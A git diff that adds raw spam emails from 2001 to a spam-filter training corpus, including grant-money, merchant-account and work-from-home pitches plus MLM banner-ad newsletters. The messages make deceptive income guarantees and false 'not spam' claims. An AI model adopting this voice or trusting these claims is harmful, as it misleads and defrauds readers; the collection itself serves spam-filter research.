+PCEtLQ0KdGVtcGxhdGVzL2hvbWV0b29sL3BhZ2VzL1RDQ2xhc3NpY0Jpby50 +eHQNCi0tPg0KPEhUTUw+IDwhLS0gVGFsa0NpdHkgVENDbGFzc2ljQmlvLnR4 +dDogdmVyc2lvbiAxLCAxMyBBdWd1c3QgMTk5OS4gLS0+DQo8IS0tIFRlbXBs +YXRlIHNjcmlwdGluZyBsYW5ndWFnZSwgVmVyc2lvbiAxLjAgLS0+DQo8SEVB +RD4NCjxUSVRMRT5XZWxjb21lIHRvIGJpbGwgcmVkbW9uZCB3ZWIgZW50ZXJw +cmlzZXM8L1RJVExFPg0KPE1FVEEgTkFNRT0iREVTQ1JJUFRJT04iIENPTlRF +TlQ9ImJlbG93IHdob2xlc2FsZSBwcmljZXMgZm9yIGFsbCI+DQo8TUVUQSBO +QU1FPSJLRVlXT1JEUyIgQ09OVEVOVD0ic3BvdGluZyBnb29kcyBzdG9yZXMs +IGF1dG8gZWxlY3Ryb25pY3Mgc3RvcmVzLHByb2dyYW1zDQ0KdGhhdCBwYXkg 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mail.netnoteinc.com (Postfix) with SMTP id EB10811410E for + ; Thu, 2 Aug 2001 07:07:10 +0000 (Eire) +Received: from online-forum.net ([62.27.79.2]) by online-forum.net ; + Thu, 02 Aug 2001 08:13:36 +0200 +To: yyyy@neteze.com, yyyy@netnoteinc.com, yyyy@nstar.net, yyyy@nts-online.net, + jm@nycap.rr.com, jm@optonline.net, jm@penn.com, jm@planete.net, + jm@psn.net +From: lizzy@hkg.net (Lizzy young) +Subject: RE:More info/grant money +Message-Id: <99673281602@online-forum.net> +Date: Thu, 2 Aug 2001 07:07:10 +0000 (Eire) +Sender: nobody@online-forum.net + +Below is the result of your feedback form. It was submitted by +Lizzy young (lizzy@hkg.net) on Thursday, August 2, 2001 at 08:13:36 +--------------------------------------------------------------------------- + +message: Here is the information you requested: + +If you are interested in learning how to get $10,000 +to over $500,000 in free money, for Business, Education, +or personal needs, Please visit our website at: +http://1chn.com/ch7/ + + + +We strongly oppose the use of SPAM email and do not want anyone who does not +wish to receive our mailings to receive them. As a result, we have retained +the services of an independent 3rd party to administer our list management +and remove list(www.removeyou.com). This is not SPAM. If you do not wish to +receive further mailings, please click below and enter your +email at the bottom of the page. You may then rest-assured that you will +never receive another email from us again. http://www.removeyou.com The +21st Century Solution. +I.D. # 030500 + + + +Regards' +P. K. Marketing + + + + + + + + + + + + + + + + + +--------------------------------------------------------------------------- + + + diff --git a/bayes/spamham/spam_2/00116.8a15129846b680f8539fd703d8743b67 b/bayes/spamham/spam_2/00116.8a15129846b680f8539fd703d8743b67 new file mode 100644 index 0000000..bb43cc4 --- /dev/null +++ b/bayes/spamham/spam_2/00116.8a15129846b680f8539fd703d8743b67 @@ -0,0 +1,46 @@ +From b2o73jynwf@msn.com Thu Aug 2 09:14:00 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from exchange.lowrance.com (unknown [64.243.150.167]) by + mail.netnoteinc.com (Postfix) with ESMTP id 9589711410E for + ; Thu, 2 Aug 2001 08:13:59 +0000 (Eire) +From: b2o73jynwf@msn.com +Reply-To: isaaruiso2161@excite.com +To: nrd2b4@msn.com +Subject: Expand Your Business! [wz6lo] +Message-Id: <20010802081359.9589711410E@mail.netnoteinc.com> +Date: Thu, 2 Aug 2001 08:13:59 +0000 (Eire) + + +Expand your business! Make it easy for your customers +to pay using Visa, Master Card, Discover, American +Express, Debit Card and Checks via Phone/Fax/Internet. +How? Through a business Merchant Account! + +By providing multiple methods of acceptable payment +you automatically help ensure that it will be easier +for them to pay you and build up trust. People DON'T +want to send cash or checks via mail, because it is +dangerous and gives them absolutely no guarantees +whatsoever. + +So make it easier for your customers and setup a +Merchant Account for your business. There are NO setup +fees, and the monthly costs are very low. To obtain +more information, please reply to this email with +your name, phone number with area code, and a good +time to call. You will be contacted within 10 +business days by one of our staff. Thank you for +your time. + + + + +To be removed from our contact list, send us an +email with the subject "Remove" and you will be +automatically taken off our list. If removal does +not work, reply with your email address in the Body +of the email + + + diff --git a/bayes/spamham/spam_2/00117.9f0ba9c35b1fe59307e32b7c2c0d4e61 b/bayes/spamham/spam_2/00117.9f0ba9c35b1fe59307e32b7c2c0d4e61 new file mode 100644 index 0000000..83a20d9 --- /dev/null +++ b/bayes/spamham/spam_2/00117.9f0ba9c35b1fe59307e32b7c2c0d4e61 @@ -0,0 +1,749 @@ +From FLN-Community@FreeLinksNetwork.com Thu Aug 2 11:40:26 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from rovdb001.roving.com (unknown [216.251.239.53]) by + mail.netnoteinc.com (Postfix) with ESMTP id 48A19114148 for + ; Thu, 2 Aug 2001 10:40:23 +0000 (Eire) +Received: from rovweb003 (unknown [10.208.80.89]) by rovdb001.roving.com + (Postfix) with ESMTP id 65F3A1A56F3 for ; + Thu, 2 Aug 2001 06:30:51 -0400 (EDT) +From: Your Membership Newsletter +To: yyyy@netnoteinc.com +Subject: Your Membership Exchange, #441 +Content-Type: multipart/alternative; + boundary=90840724.996748272348.JavaMail.RovAdmin.rovweb003 +X-Roving-Queued: 20010802 06:31.12348 +X-Roving-Version: 4.1.Patch44.ThingOne_p44_07_18_01_PoolFix +X-Mailer: Roving Constant Contact 4.1.Patch44.ThingOne_p44_07_18_01_PoolFi + x (http://www.constantcontact.com) +X-Roving-Id: 996712293421 +Message-Id: <20010802103051.65F3A1A56F3@rovdb001.roving.com> +Date: Thu, 2 Aug 2001 06:30:51 -0400 (EDT) + +--90840724.996748272348.JavaMail.RovAdmin.rovweb003 +Content-Type: text/plain; charset=iso-8859-1 + +Your Membership Exchange, Issue #441 (August 2, 2001) + +______________________________________________________ + Your Membership Daily Exchange +>>>>>>>>>>> Issue #441 <> 08-02-01 <<<<<<<<<<<< +Your place to exchange ideas, ask questions, +swap links, and share your skills! +______________________________________________________ +Removal/Unsubscribe instructions are included at the bottom +for members who do not wish to receive additional issues of +this publication. +______________________________________________________ + +You are a member in at least one of these programs +- You should be in them all! +http://www.BannersGoMLM.com +http://www.ProfitBanners.com +http://www.CashPromotions.com +http://www.MySiteInc.com +http://www.TimsHomeTownStories.com +http://www.FreeLinksNetwork.com +http://www.MyShoppingPlace.com +http://www.BannerCo-op.com +http://www.PutPEEL.com +http://www.PutPEEL.net +http://www.SELLinternetACCESS.com +http://www.Be-Your-Own-ISP.com +http://www.SeventhPower.com +______________________________________________________ +Today's Special Announcement: + +Right now, this week only - We have left over inventory, it's +unsold, but not for long. If you could use 1 million banner +ads all targeted and dirt cheap go here today. This package +is guaranteed!! It's tough to fail when you can show your ad +to 1,000 people for less than a buck! A free custom banner +will be made for you with this deal! +http://BannersGoMLM.com/promo/million-nl.html +______________________________________________________ +______________________________________________________ + +>> Ideas, Tips, & Information + R. DeLong: More on the SirCam virus + +>> Q & A + ANSWERS: + - What can I do about my computer freezing? + J. Shofstall: Many factors in the operating system that cause conflicts + +>> MEMBER SHOWCASES + +>> MEMBER *REVIEWS* + - Sites to Review: #141, #142, #143 & #144! + - Site #140 Reviewed! + +______________________________________________________ + +>>>>>> Ideas, Tips, & Information <<<<<< + +Do you have a special software program you find helpful, or +even absolutely necessary? A neat tip that makes your online +life a little easier? Share it and help other members save time, +frustration, and a few steps in the learning curve. Submit +your ideas, tips and information to MyInput@AEOpublishing.com + +From: Richard DeLong - homeaffiliate@mail.com +Subject: More on the SirCam virus + +In Exchange Issue #440, JT wrote... + +>It's called the SirCam virus, and when it spreads, it sends +>an apparently random file from the harddrives of infected +>computers along with it. ANY file on your machine could +>be copied and sent to hundreds of other users. + +I also have received both the virus and email on how to get +rid of it. Luckily I don't open ANY attachments, unless I'm +expecting them and then am still very careful. + +Here's the ways I was told to get rid of the thing: + +One Fix Tool: + +Download fix_sircam.com and run the file. It will scan Drive +C:\ and subfolders and runs in DOS. +http://www.antivirus.com/vinfo/security/fix_sircam.com + +Another Trojan Fix Tool +http://www.sarc.com/avcenter/FixSirc.com +The fix tool will run from your desktop and will "automatically" +rid your computer from the SirCam Trojan and clean up an +entries from your registry files. + +After running either fix tool -- reboot your system. + +Hope this helps! + +Richard +homeaffiliate@mail.com + + + + +>>>>>> QUESTIONS & ANSWERS <<<<<< +Submit your questions & answers to MyInput@AEOpublishing.com + +ANSWERS: + +From: WonderPaint - support@wonderpaint.com +Subject: Many factors in the operating system that cause conflicts + +>From: NICETY7078@aol.com +>Subject: What can I do about my computer freezing? (Issue #439) +> +>My computer freezes when I use AOL and sometimes when +>I'm just using the basic functions of Windows 98. My +>defragmentor keeps starting over and over and my scan +>disk never finds anything wrong, but there has to be. + +Dear Nicety, + +As regards your problem with Windoze freezing and locking +up your computer I'm afraid your "SOL" as finding a true solution. +There are many factors in the operating system that cause conflicts +resulting in a locked machine. One major problem is that many +programs don't release memory when you exit. When working +in Windoze I've always taken the approach of rebooting on a +regular basis before I've had problems, especially if I've opened +and closed several different applications. + +Back in August 1999 John Kirch, a Microsoft Certified Professional, +wrote an extensive article discussing the merits of a *nix operating +system vs Windows NT. You can read it at +http://www.unix-vs-nt.org/kirch/. What was true back then is +even truer today. Every current "worm" you are hearing about +on the news lately occurs in Windoze operating systems. + + So, IMHO, the solution to your machine locking-up is to change +the OS. Running Linux, my machine has been up for periods of +weeks at a time with no need to reboot. In over a year of running +I can count the lock-ups on one hand and have fingers left over. +I have more software installed than I ever had in Windoze ... and +the price is right -- free. + +Jim Shofstall +webmaster@wonderpaint.com +http://www.wonderpaint.com + +______________________________________________________ + + +>>>>>> WEBSITE SHOWCASES <<<<<< + +Examine carefully - those with email addresses included WILL +trade links with you, you are encouraged to contact them. And, +there are many ways to build a successful business. Just look at +these successful sites/programs other members are involved in... +------------------------------------------------- + +Stop! - Find Out If You Qualify... +to Make $339-$527 A Week On-line or Off-line... +At Home On Your Computer. +mailto:wealthsolo@infogeneratorpro.com +Free helpful file reveals Qualifications. +------------------------------------------------- + +"It's The Most D-A-N-G-E-R-O-U-S Book on the Net" +Email 20,000 Targeted Leads Every Single Day! Slash Your +Time Online to just 1-2 Hours Daily! Build 11 Monthly +Income Streams Promoting ONE URL! Start building +YOUR Business - NOT everyone elses! +http://www.roibot.com/w.cgi?R8901_bd_shwc +------------------------------------------------- + +Start making money online right now Guaranteed! Look at +what you get for only $24.95: (100% money back guarantee) + - Our exclusive money making internet marketing kit. + - Your own cash creating website ready to make money now. + - Live support ready to set up your website right now. +Check it out at http://by.advertising.com/1/c/22555/26593/81371/81371 +------------------------------------------------- + +Attention All Web Marketers-$30k-$100k CASH This Year +No experience needed, No product to sell. +The real go getters can make $100,000.00 CASH,in their first month +This is very powerful, contact me TODAY ycon@home.com +or goto: http://www.makecashonline.com GET EXCITED :) +Trade Links - mailto:ycon@home.com +------------------------------------------------- + +If you have a product, service, opportunity and/or quality +merchandise that appeals to people worldwide, reach your +target audience! + +For a fraction of what other large newsletters charge you +can exhibit your website here for only $8 CPM. Why?... +Because as a valuable member we want you to be successful! +Order today - Exhibits are limited and published on a +first come, first serve basis. http://bannersgomlm.com/ezine +______________________________________________________ + +>>>>>> MEMBER *REVIEWS* <<<<<< + +Visit these sites, look for what you like and any suggestions +you can offer, and send your critique to MyInput +And, after reviewing three sites, your web site will be added to +the list! It's fun, easy, and it's a great opportunity to give +some help and receive an informative review of your own site. +Plus, you can also win a chance to have y our site chosen for +a free website redesign. One randomly drawn winner each month! + + +SITES TO REVIEW: + +Site #141: http://www.floridarental.co.uk +Carol Hall +carol@floridarental.co.uk + +Site #142: http://www.sharesmiles.com +James Garrison +webmaster@sharesmiles.com + +Site #143: http://www.selltheworldonline.com/default2.asp?ref=1282 +gofreet@yahoo.com.au + +Site #144: http://www.tpcenterprises.com/ +info@tpcenterprises.com + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +SITE REVIEWED! + +Comments on Site #140: http://www.prosperouswomen.bizland.com/masterminding +Margarete +MDegaston@aol.com +~~~~ + +I really love clean, uncluttered, easy to read and navigate +sites like these two. They are both very attractive and well +presented. In my opinion, the book site could have been +a little softer, or with similar characteristics to the next site, +preparing me for the site that it links to, and having a +relationship to it. + +What I did feel most, was that I was expecting something +related to the url "prosperouswomen" to come up, as this +"word" was what caught my attention and caused me to +click in the first place. + +I feel the book page should be a tool for the "PW" page and +not a preface to it. The main site should be the PW and the +book site could be a link or a popup or an additional page. +(You need to take e out of changing on the book page.) + +With these: + +Find out how you can receive the free book. +Email us at directions4U@aol.com +and +For this and a number of other free books on networkmarketing +write to us at directions4U@aol.com + +I would have liked these to be clickable links, rather than +copy and paste. + +Very nice job on the sites, Margarete ... I really liked them. +(and I have ordered the book!) +~~~~ + +I waited over 70 seconds and had yet to see the first page. +Could not determine if this was related to volume of graphics +or where we were headed. +~~~~ + +Very clear, focused site with one page promoting a free book. + +Don't underline text unless it's a link, or somehow distinguish +between the links and that which is not. + +I finally figured out the logo for properouswomen was also +linked so I checked that out also. I think you need to make that +link more noticeable, and also link to your bizland site. + +If you used a form for ordering the book instead of sending a +request message to an aol email address you would get more +requests, and also might be able to automate this process. +~~~~ + +I loved this site because it was clear, simple and to the point. +It also peaked my curiosity and I followed the link supplied. +If only other sites we so simplistic! +~~~~ + +With the masterminding site, the first sentence 'Major Impact +on Your Life' is incomplete. There were also run-on sentences +in the copy, even though the copy is quite effective. The box +with "Life Changeing Insight" needs the 'e' taken out of +'changeing', and it looked like the text could have been extended +to go from side to side. In the first paragraph '... an amazing 100 +year old text...' felt like it should be 'book' or 'secret' instead of +using the word 'text'. Also it would add credibility to say where +or how or by whom it was discovered. + +The message is clear, the site design simple. Two things that +would make the site more effective (on getting people to request +the book) would be to say if this is an ebook, how long it is, in +what format it is, etc. and then also using a form for people to +order instead of emailing. You should be able to pick up a form +for this just about anywhere. +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +______________________________________________________ +moderator: Amy Mossel: Moderator@AEOpublishing.com +posting: MyInput@AEOpublishing.com +______________________________________________________ + +Send posts and questions (or your answers) to: + mailto:MyInput@AEOpublishing.com +Please send suggestions and comments to: + mailto:Moderator@AEOpublishing.com + +To change your subscribed address, send both new +and old address to mailto:Moderator@AEOpublishing.com +See below for unsubscribe instructions. + +Copyright 2001 AEOpublishing + +----- End of Your Membership Exchange +------------------------------------------------ + + +------------------------------------------------ + +This email has been sent to jm@netnoteinc.com at your +request, by Your Membership Newsletter Services. + +Visit our Subscription Center to edit your interests or unsubscribe. +http://ccprod.roving.com/roving/d.jsp?p=oo&id=bd7n7877.6vihnja6&m=bd7n7877&ea=jm@netnoteinc.com + +View our privacy policy: http://ccprod.roving.com/roving/CCPrivacyPolicy.jsp + +Powered by +Constant Contact(R) +www.constantcontact.com +--90840724.996748272348.JavaMail.RovAdmin.rovweb003 +Content-Type: text/html; charset=iso-8859-1 + + + + + Your Membership Exchange, #441 + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      
      Your Membership Exchange, Issue #441 
     August 2, 2001  
      + + + + + +
    + + + Your place to exchange ideas, ask questions, swap links, and share your skills! + + + +

    ______________________________________________________ +
    You are a member in at least one of these programs +
    - You should be in them all! +
    BannersGoMLM.com +
    ProfitBanners.com +
    CashPromotions.com +
    MySiteInc.com +
    TimsHomeTownStories.com +
    FreeLinksNetwork.com +
    MyShoppingPlace.com +
    BannerCo-op.com +
    PutPEEL.com +
    PutPEEL.net +
    SELLinternetACCESS.com +
    Be-Your-Own-ISP.com +
    SeventhPower.com +
    ______________________________________________________
    +
    Today's Special Announcement: +

    Right now, this week only - We have left over inventory, it's +
    unsold, but not for long.  If you could use 1 million banner +
    ads all targeted and dirt cheap go here today. This package +
    is guaranteed!! It's tough to fail when you can show your ad +
    to 1,000 people for less than a buck! A free custom banner +
    will be made for you with this deal! +
    http://BannersGoMLM.com/promo/million-nl.html +
    ______________________________________________________ +

    >> Ideas, Tips, & Information +
               R. DeLong: +More on the SirCam virus +

    >> Q & A +
       ANSWERS: +
         - What can I do about my computer freezing? +
               J. Shofstall: +Many factors in the operating system that cause conflicts +

    >> MEMBER SHOWCASES +

    >> MEMBER *REVIEWS* +
         - Sites to Review: #141, #142, #143  +& #144! +
         - Site #140 Reviewed! +

    ______________________________________________________ +

    >>>>>> Ideas, Tips, & Information <<<<<< +

    Do you have a special software program you find helpful, or +
    even absolutely necessary? A neat tip that makes your online +
    life a little easier? Share it and help other members save time, +
    frustration, and a few steps in the learning curve. Submit +
    your ideas, tips and information to MyInput@AEOpublishing.com +

    From:  Richard DeLong   - homeaffiliate@mail.com +
    Subject:  More on the SirCam virus +

    In Exchange Issue #440, JT wrote... +

    >It's called the SirCam virus, and when it spreads, it sends +
    >an apparently random file from the harddrives of infected +
    >computers along with it. ANY file on your machine could +
    >be copied and sent to hundreds of other users. +

    I also have received both the virus and email on how to get +
    rid of it.  Luckily I don't open ANY attachments, unless I'm +
    expecting them and then am still very careful. +

    Here's the ways I was told to get rid of the thing: +

    One Fix Tool: +

    Download fix_sircam.com and run the file. It will scan Drive +
    C:\ and subfolders and runs in DOS. +
    http://www.antivirus.com/vinfo/security/fix_sircam.com +

    Another Trojan Fix Tool +
    http://www.sarc.com/avcenter/FixSirc.com +
    The fix tool will run from your desktop and will "automatically" +
    rid your computer from the SirCam Trojan and clean up an +
    entries from your registry files. +

    After running either fix tool -- reboot your system. +

    Hope this helps! +

    Richard +
    homeaffiliate@mail.com +
      +
      +
      +

    >>>>>> QUESTIONS & ANSWERS <<<<<< +
    Submit your questions & answers to MyInput@AEOpublishing.com +

    ANSWERS: +

    From:  WonderPaint   - support@wonderpaint.com +
    Subject:  Many factors in the operating system that cause conflicts +

    >From:  NICETY7078@aol.com +
    >Subject:  What can I do about my computer freezing? (Issue #439) +
    > +
    >My computer freezes when I use AOL and sometimes when +
    >I'm just using the basic functions of Windows 98. My +
    >defragmentor  keeps starting over and over and my scan +
    >disk never finds anything wrong, but there has to be. +

    Dear Nicety, +

    As regards your problem with Windoze freezing and locking +
    up your computer I'm afraid your "SOL" as finding a true solution. +
    There are many factors in the operating system that cause conflicts +
    resulting in a locked machine.  One major problem is that many +
    programs don't release memory when you exit.  When working +
    in Windoze I've always taken the approach of rebooting on a +
    regular basis before I've had problems, especially if I've opened +
    and closed several different applications. +

    Back in August 1999 John Kirch, a Microsoft Certified Professional, +
    wrote an extensive article discussing the merits of a *nix operating +
    system vs Windows NT.  You can read it at +
    http://www.unix-vs-nt.org/kirch/.  +What was true back then is +
    even truer today.  Every current "worm" you are hearing about +
    on the news lately occurs in Windoze operating systems. +

     So, IMHO, the solution to your machine locking-up is to change +
    the OS.  Running Linux, my machine has been up for periods of +
    weeks at a time with no need to reboot.  In over a year of running +
    I can count the lock-ups on one hand and have fingers left over. +
    I have more software installed than I ever had in Windoze ... and +
    the price is right -- free. +

    Jim Shofstall +
    webmaster@wonderpaint.com +
    http://www.wonderpaint.com +

    ______________________________________________________ +

    >>>>>> WEBSITE SHOWCASES <<<<<< +

    Examine carefully - those with email addresses included WILL +
    trade links with you, you are encouraged to contact them. And, +
    there are many ways to build a successful business. Just look at +
    these successful sites/programs other members are involved in.. +
    ------------------------------------------------- +

    Stop! - Find Out If You Qualify... +
    to Make $339-$527 A Week On-line or Off-line... +
    At Home On Your Computer. +
    mailto:wealthsolo@infogeneratorpro.com +
    Free helpful file reveals Qualifications. +
    ------------------------------------------------- +

    "It's The Most D-A-N-G-E-R-O-U-S Book on the Net" +
    Email 20,000 Targeted Leads Every Single Day! Slash Your +
    Time Online to just 1-2 Hours Daily! Build 11 Monthly +
    Income Streams Promoting ONE URL! Start building +
    YOUR Business - NOT everyone elses! +
    http://www.roibot.com/w.cgi?R8901_bd_shwc +
    ------------------------------------------------- +

    Start making money online right now Guaranteed! Look at +
    what you get for only $24.95:  (100% money back guarantee) +
     - Our exclusive money making internet marketing kit. +
     - Your own cash creating website ready to make money now. +
     - Live support ready to set up your website right now. +
    Check it out at http://by.advertising.com/1/c/22555/26593/81371/81371 +
    ------------------------------------------------- +

    Attention All Web Marketers-$30k-$100k CASH This Year +
    No experience needed, No product to sell. +
    The real go getters can make $100,000.00 CASH,in their first month +
    This is very powerful, contact me TODAY ycon@home.com +
    or goto: http://www.makecashonline.com  +GET EXCITED :) +
    Trade Links - mailto:ycon@home.com +
    ------------------------------------------------- +

    If you have a product, service, opportunity and/or quality +
    merchandise that appeals to people worldwide, reach your +
    target audience! +

    For a fraction of what other large newsletters charge you +
    can exhibit your website here for only $8 CPM. Why?... +
    Because as a valuable member we want you to be successful! +
    Order today - Exhibits are limited and published on a +
    first come, first serve basis. http://bannersgomlm.com/ezine +
    +


    ______________________________________________________ +

    >>>>>> MEMBER *REVIEWS* <<<<<< +

    Visit these sites, look for what you like and any suggestions +
    you can offer, and send your critique to MyInput +
    And, after reviewing three sites, your web site will be added to +
    the list! It's fun, easy, and it's a great opportunity to give +
    some help and receive an informative review of your own site. +
    Plus, you can also win a chance to have y our site chosen for +
    a free website redesign. One randomly drawn winner each month! +
      +

    SITES TO REVIEW: +

    Site #141:  http://www.floridarental.co.uk +
    Carol Hall +
    carol@floridarental.co.uk +

    Site #142:  http://www.sharesmiles.com +
    James Garrison +
    webmaster@sharesmiles.com +

    Site #143:  http://www.selltheworldonline.com/default2.asp?ref=1282 +
    gofreet@yahoo.com.au +

    Site #144:  http://www.tpcenterprises.com/ +
    info@tpcenterprises.com +

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +

    SITE  REVIEWED! +

    Comments on Site #140:  http://www.prosperouswomen.bizland.com/masterminding +
    Margarete +
    MDegaston@aol.com +
    ~~~~ +

    I really love clean, uncluttered, easy to read and navigate +
    sites like these two. They are both very attractive and well +
    presented.  In my opinion, the book site could have been +
    a little softer, or with similar characteristics to the next site, +
    preparing me for the site that it links to, and having a +
    relationship to it. +

    What I did feel most, was that I was expecting something +
    related to the url  "prosperouswomen" to come up, as this +
    "word" was what caught my attention and caused me to +
    click in the first place. +

    I feel the book page should be a tool for the "PW" page and +
    not a preface to it.  The main site should be the PW and the +
    book site could be a link or a popup or an additional page. +
    (You need to take e out of changing on the book page.) +

    With these: +

    Find out how you can receive the free book. +
    Email us at directions4U@aol.com +
    and +
    For this and a number of other free books on networkmarketing +
    write to us at directions4U@aol.com +

    I would have liked these to be clickable links, rather than +
    copy and paste. +

    Very nice job on the sites, Margarete ... I really liked them. +
    (and I have ordered the book!) +
    ~~~~ +

    I waited over 70 seconds and had yet to see the first page. +
    Could not determine if this was related to volume of graphics +
    or where we were headed. +
    ~~~~ +

    Very clear, focused site with one page promoting a free book. +

    Don't underline text unless it's a link, or somehow distinguish +
    between the links and that which is not. +

    I finally figured out the logo for properouswomen was also +
    linked so I checked that out also. I think you need to make that +
    link more noticeable, and also link to your bizland site. +

    If you used a form for ordering the book instead of sending a +
    request message to an aol email address you would get more +
    requests, and also might be able to automate this process. +
    ~~~~ +

    I loved this site because it was clear, simple and to the point. +
    It also peaked my curiosity and I followed the link supplied. +
    If only other sites we so simplistic! +
    ~~~~ +

    With the masterminding site, the first sentence 'Major Impact +
    on Your Life' is incomplete. There were also run-on sentences +
    in the copy, even though the copy is quite effective. The box +
    with "Life Changeing Insight" needs the 'e' taken out of +
    'changeing', and it looked like the text could have been extended +
    to go from side to side. In the first paragraph  '... an amazing +100 +
    year old text...' felt like it should be 'book' or 'secret' instead +of +
    using the word 'text'.  Also it would add credibility to say where +
    or how or by whom it was discovered. +

    The message is clear, the site design simple. Two things that +
    would make the site more effective (on getting people to request +
    the book) would be to say if this is an ebook, how long it is, in +
    what format it is, etc. and then also using a form for people to +
    order instead of emailing. You should be able to pick up a form +
    for this just about anywhere. +
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +
    ______________________________________________________ +


    moderator: Amy Mossel  Moderator +
    posting:   MyInput@AEOpublishing.com +
    ______________________________________________________ +

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    +This is not a SPAM. You are receiving this because
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    + + + + + + + + diff --git a/bayes/spamham/spam_2/00121.9fdf867ef2120e98641128801454aa72 b/bayes/spamham/spam_2/00121.9fdf867ef2120e98641128801454aa72 new file mode 100644 index 0000000..6ad1673 --- /dev/null +++ b/bayes/spamham/spam_2/00121.9fdf867ef2120e98641128801454aa72 @@ -0,0 +1,66 @@ +From tmancos@ecis.com Thu Aug 2 13:06:14 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from cps_mail.entelchile.net (postmaster.cps-sa.cl + [164.77.209.190]) by mail.netnoteinc.com (Postfix) with ESMTP id + A57A11141C0 for ; Thu, 2 Aug 2001 12:06:08 +0000 + (Eire) +Received: from mxpool01.netaddress.usa.net (pm16b.icx.net [216.82.8.17]) + by cps_mail.entelchile.net with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.1960.3) id QCJ6XNXR; Thu, 2 Aug 2001 08:00:38 -0400 +Message-Id: <000064f363ac$00006ac3$00007d8c@ecis.com> +To: +From: tmancos@ecis.com +Subject: Be Your Own Boss!! 32140 +Date: Thu, 02 Aug 2001 07:49:56 -1600 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal + + +
    + FOLLOW ME TO FINANCIAL FREEDOM!!
    +
    +I Am looking for people with good work ethic and extrordinary desire
    + to earn at least $10,000 per month working from home!
    +
    +NO SPECIAL SKILLS OR EXPERIENCE REQUIRED We will give you all the
    +training and personal support you will need to ensure your success!
    +
    +This LEGITIMATE HOME-BASED INCOME OPPORTUNITY can put you back in
    + control of your time,your finances,and your life!
    +
    +If you've tried other opportunities in the past that have failed to
    + live up their promises,
    +
    + THIS IS DIFFERENT THEN ANYTHING ELSE YOU'VE SEEN!
    +
    + THIS IS NOT A GET RICH QUICK SCHEME!
    +
    +YOUR FINANCIAL PAST DOES NOT HAVE TO BE YOUR FINANCIAL FUTURE!
    +
    + CALL ONLY IF YOU ARE SERIOUS!
    +
    + 1-800-345-9708
    +
    + DONT GO TO SLEEP WITHOUT LISTENING TO THIS!
    +
    +"ALL our dreams can come true- if we have the courage to persue them"
    + -Walt Disney
    +
    +Please Leave Your Name And Number And Best Time To Call
    +
    + DO NOT RESPOND BY EMAIL
    +
    +This is not a SPAM. You are receiving this because
    +you are on a list of email addresses that I have bought.
    +And you have opted to receive information about
    +business opportunities. If you did not opt in to receive
    +information on business opportunities then please accept
    +our apology. To be REMOVED from this list simply reply
    +with REMOVE as the subject. And you will NEVER receive
    +another email from me.     + + + diff --git a/bayes/spamham/spam_2/00122.4a2f67839c81141a1075745a66c907bb b/bayes/spamham/spam_2/00122.4a2f67839c81141a1075745a66c907bb new file mode 100644 index 0000000..acdf74d --- /dev/null +++ b/bayes/spamham/spam_2/00122.4a2f67839c81141a1075745a66c907bb @@ -0,0 +1,770 @@ +From FLN-Community@FreeLinksNetwork.com Fri Aug 3 13:48:47 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from rovdb001.roving.com (unknown [216.251.239.53]) by + mail.netnoteinc.com (Postfix) with ESMTP id 7676C11410E for + ; Fri, 3 Aug 2001 12:48:38 +0000 (Eire) +Received: from rovweb003 (unknown [10.208.80.89]) by rovdb001.roving.com + (Postfix) with ESMTP id 704271A6051 for ; + Fri, 3 Aug 2001 07:40:20 -0400 (EDT) +From: Your Membership Newsletter +To: yyyy@netnoteinc.com +Subject: Your Membership Community & Commentary, 08-03-01 +X-Roving-Queued: 20010803 07:40.41831 +X-Roving-Version: 4.1.Patch43b.ThingOne_p43_08_02_01FallNetscape +X-Mailer: Roving Constant Contact 4.1.Patch43b.ThingOne_p43_08_02_01FallNe + tscape (http://www.constantcontact.com) +X-Roving-Id: 996789890125 +Message-Id: <20010803114020.704271A6051@rovdb001.roving.com> +Date: Fri, 3 Aug 2001 07:40:20 -0400 (EDT) + + +--1465727098.996838841831.JavaMail.RovAdmin.rovweb003 +Content-Type: text/plain; charset=iso-8859-1 + +Your Membership Community & Commentary (August 3, 2001) +It's All About Making Money + +Information to provide you with the absolute +best low and no cost ways of providing traffic +to your site, helping you to capitalize on the power +and potential the web brings to every Net-Preneur. + +--- This Issue Contains Sites Who Will Trade Links With You! --- + +------------- +IN THIS ISSUE +------------- +Top Ten Most Important Things to Do Today +Member Showcase +Commentary Quick Tips +Win A FREE Ad In Community & Commentary + + + +||| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>> + Today's Special Announcement: +||| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>> + +Right now, this week only - We have left over inventory, it's +unsold, but not for long. If you could use 1 million banner +ads all targeted and dirt cheap go here today. This package +is guaranteed!! It's tough to fail when you can show your ad +to 1,000 people for less than a buck! A free custom banner +will be made for you with this deal! +http://BannersGoMLM.com/promo/million-nl.html + +||| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>> + +You are a member in at least one of these programs +- You should be in them all! +http://www.BannersGoMLM.com +http://www.ProfitBanners.com +http://www.CashPromotions.com +http://www.MySiteInc.com +http://www.TimsHomeTownStories.com +http://www.FreeLinksNetwork.com +http://www.MyShoppingPlace.com +http://www.BannerCo-op.com +http://www.PutPEEL.com +http://www.PutPEEL.net +http://www.SELLinternetACCESS.com +http://www.Be-Your-Own-ISP.com +http://www.SeventhPower.com + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Top Ten Most Important Things to Do Today +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +Top Ten Most Important Things to Do Today +By Michael E. Angier + +This is my list. They're the ones I've selected for my life at +present. Consider them suggestions for yourself--ideas to +help you generate your own top ten list. By getting clear +on and acting upon YOUR most important steps, you'll be +moving toward and experiencing your highest and best. + + +1. Practice gratefulness. Reflect upon the things in my life for +which I'm 